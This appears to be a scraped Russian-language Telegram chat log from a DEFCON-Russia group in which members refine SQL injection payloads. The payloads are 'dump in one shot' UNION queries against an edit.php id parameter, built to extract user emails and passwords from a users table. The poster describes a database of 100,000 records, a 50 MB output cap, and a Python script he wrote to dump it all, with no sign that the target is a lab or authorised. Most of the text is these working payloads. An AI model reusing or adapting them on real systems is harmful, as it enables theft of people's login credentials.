Size: a a a

DCG#7812 DEFCON-RUSSIA

2020 July 15

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
/edit.php?act=edit&id=0' union select 1,2,(select @a from(select (@a:=0x00), (select @a from users where @a in (@a := concat(@a, umail, '<!>', upass, '\n')) limit 10))a),4-- -


Как limit делать в DIOS?
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
я уже забыл
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
в базе 100.000 записей
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
/edit.php?act=edit&id=0' union select 1,2,(select @a from(select (@a:=0x00), (select @a from users where @a in (@a := concat(@a, umail, '<!>', upass, '\n'))) limit 10)a),4-- -


куда бы этот лимит не пихал, он всю таблицу дампит
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
Только так заработало:

/edit.php?act=edit&id=0' union select 1,2,(select @a from(select (@a:=0x00), (select @a from(select * from users limit 10)u where @a in (@a := concat(@a, umail, ':', upass, '\n'))))a),4-- -


Понимаю, что вещаю в пустоту, но среди местных обитателей моожет найдется пару практиков, которым это пригодится либо подскажут как изменить запрос и т.п.
источник

M

Mash in DCG#7812 DEFCON-RUSSIA
/edit.php?act=edit&id=0' union select 1,2,(select @a from(select (@a:=0x00), (select @a from users where @a in (@a := concat(@a, umail, '<!>', upass, '\n')) limit 10))a),4-- -
источник

M

Mash in DCG#7812 DEFCON-RUSSIA
а так не алло?
источник

M

Mash in DCG#7812 DEFCON-RUSSIA
странно, вижу что это первый вариант
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
он так дампит всю таблицу
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
там ограничения 50 мб чтоли
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
вот он выводит 50 мегабайт. это не все данные
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
за этим лимиты и нужны
источник

M

Mash in DCG#7812 DEFCON-RUSSIA
может по id проставишь условия?
источник

NT

Nikita Tikhomirov in DCG#7812 DEFCON-RUSSIA
Mr. Wh🦠er
он так дампит всю таблицу
/edit.php?act=edit&id=0' union select 1,2,(select @a from(select (@a:=0x00), (select @a from users where @a in (@a := concat(@a, umail, '<!>', upass, '\n'))) limit 0,10)a),4-- -
источник

NT

Nikita Tikhomirov in DCG#7812 DEFCON-RUSSIA
может так попробовать?
источник

NT

Nikita Tikhomirov in DCG#7812 DEFCON-RUSSIA
А что вообще за бд
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
я уже и скрипт на питоне написал чтобы все сдампить
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
источник

MW

Mr. Wh🦠er in DCG#7812 DEFCON-RUSSIA
sqlmap построчно все дампит неделями
источник

r

rzrzrz in DCG#7812 DEFCON-RUSSIA
Mr. Wh🦠er
sqlmap построчно все дампит неделями
)))
источник